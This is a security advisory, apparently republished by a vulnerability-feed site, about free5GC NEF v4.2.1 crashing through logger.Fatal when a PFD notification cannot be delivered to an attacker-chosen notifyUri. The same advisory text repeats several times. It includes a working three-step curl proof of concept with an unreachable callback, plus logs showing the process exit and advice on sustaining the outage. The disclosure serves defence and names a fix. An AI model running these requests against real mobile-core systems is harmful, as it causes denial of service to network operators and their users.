### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`). The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable notifier path: ```go _, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` ### Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25
### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`). The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable notifier path: ```go _, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` ### Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25
Update github.com/free5gc/nef to 1.2.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanfree5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri) affects github.com/free5gc/nef (go). Severity is high. ### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`). The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable notifier path: ```go _, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` ### Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/free5gc/nefgo | <1.2.3 | 1.2.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/free5gc/nef to 1.2.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanfree5GC's NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri) affects github.com/free5gc/nef (go). Severity is high. ### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`). The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable notifier path: ```go _, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` ### Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25
AI coding agents often install or upgrade packages automatically in go. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/free5gc/nefgo | <1.2.3 | 1.2.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard